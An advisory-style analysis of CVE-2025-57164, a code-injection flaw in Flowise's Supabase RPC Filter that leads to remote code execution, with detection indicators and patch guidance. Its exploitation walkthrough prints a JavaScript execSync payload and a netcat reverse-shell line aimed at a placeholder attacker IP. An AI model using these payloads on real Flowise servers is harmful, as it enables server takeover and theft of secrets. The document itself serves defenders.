CVE-2025-57164: 
Flowise vulnerability analysis and mitigation

CVE-2025-57164 is a remote code execution (RCE) vulnerability in FlowiseAI Flowise affecting versions through v3.0.4 (and v3.0.5 per the GitHub advisory), caused by unsanitized evaluation of user input in the "Supabase RPC Filter" field. The vulnerability was published on October 18, 2025, and a patch was released in version 3.0.6. It carries a CVSS v3.1 base score of 6.5 (Medium) per NVD, though the GitHub Security Advisory rates it as Critical (9.1) due to scope change and full system compromise potential (Red Hat CVE, GitHub Advisory).

The root cause is improper neutralization of special elements used in code generation (CWE-94 / CWE-77), located in packages/components/nodes/vectorstores/Supabase/Supabase.ts at line 237. The supabaseRPCFilter field accepts a user-supplied string that is passed directly to FilterParser.parseFilterString() and subsequently compiled and executed as JavaScript via new Function() with no input sanitization, escaping, or sandboxing. An authenticated admin user can inject arbitrary JavaScript — including calls to process.mainModule.require("child_process").execSync() — which executes immediately when the Supabase node is triggered in a workflow. A proof-of-concept exploit demonstrating environment variable leakage and reverse shell establishment is publicly documented in the GitHub Security Advisory (GitHub Advisory, Supabase.ts Source).

Successful exploitation results in full OS-level remote code execution on the Flowise backend server, allowing an attacker to execute arbitrary system commands as the Flowise service account. Demonstrated impacts include leakage of sensitive environment variables (e.g., JWT_REFRESH_TOKEN_SECRET), establishment of interactive reverse shells, installation of malware or persistence mechanisms, and exfiltration of data. Additionally, the attacker can inject malicious outputs back into LLM chains, potentially tampering with AI agent behavior and violating trust boundaries between frontend configuration and backend execution (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrating both environment variable leakage and reverse shell execution. Exploitation requires admin-level authentication to the Flowise instance, which limits the attack surface compared to fully unauthenticated vulnerabilities. There is no confirmed evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is 0.00104 (approximately 0.1%), indicating low current exploitation probability (GitHub Advisory, Feedly).

1. Reconnaissance: Identify internet-facing Flowise instances running version 3.0.5 or earlier using tools like Shodan or Censys, searching for the Flowise web UI (default port 3000).
2. Authentication: Log in to the Flowise instance using admin credentials (obtained via credential stuffing, phishing, or default/weak passwords).
3. Access Supabase Node: Navigate to the visual workflow editor and drag a Supabase vector store node into a chatflow or agentflow canvas.
4. Configure the node: Set the required fields (Supabase Project URL, Table Name, Query Name) with any valid or placeholder values to enable the RPC Filter field.
5. Inject malicious payload: In the "Supabase RPC Filter" additional parameter field, enter a JavaScript payload such as:

   filter(process.mainModule.require("child_process").execSync("id").toString(), "gt", 5)

   Or for a reverse shell:

   filter(process.mainModule.require("child_process").execSync("nc <ATTACKER_IP> 9999 -e /bin/sh"), "gt", 5)

6. Trigger execution: Save the flow and trigger the chatbot or workflow (e.g., by sending a chat message), causing the Supabase node to initialize and execute the injected code on the backend.
7. Achieve objective: Receive the reverse shell connection or observe command output, gaining full OS-level access to the server (GitHub Advisory).

• Network: Unexpected outbound connections from the Flowise server process to external IPs on non-standard ports (e.g., 9999); DNS lookups or connections to attacker-controlled infrastructure initiated by the Node.js process.
• Process: Unusual child processes spawned by the Flowise Node.js process, such as /bin/sh, nc, bash, curl, wget, or python; execSync calls visible in process trees.
• Logs: Flowise application logs showing errors or unusual output from the Supabase node initialization; Node.js stack traces referencing FilterParser or dynamic Function construction with unexpected content.
• File System: New files written to the Flowise installation directory or /tmp by the Flowise service account; unexpected cron jobs, SSH authorized keys, or startup scripts added by the service user.
• Environment: Evidence of environment variable access (e.g., JWT_REFRESH_TOKEN_SECRET, DATABASE_URL) appearing in logs, network traffic, or error messages (GitHub Advisory).

Upgrade Flowise to version 3.0.6 or later, which addresses the unsanitized code evaluation in the Supabase RPC Filter component. As an interim measure, restrict network access to the Flowise admin interface to trusted IP ranges only, and enforce strong, unique admin credentials with multi-factor authentication where possible. Implement strict input validation and use allow-lists for filter expressions; apply the principle of least privilege to the Flowise service account to limit the blast radius of any exploitation. Monitor system logs for suspicious child process activity originating from the Flowise process (GitHub Advisory, Red Hat CVE).

The vulnerability was reported by Team 404 Not Found (WhiteHat School 3rd cohort, South Korea) and published as a GitHub Security Advisory by FlowiseAI maintainer HenryHengZJ on September 13, 2025. The advisory was rated Critical (9.1) by the reporter, highlighting the trust boundary violation between frontend node configuration and backend JavaScript execution as a significant concern for low-code AI agent platforms. No major media coverage or notable social media discussion beyond standard vulnerability aggregator pickup has been identified at this time (GitHub Advisory).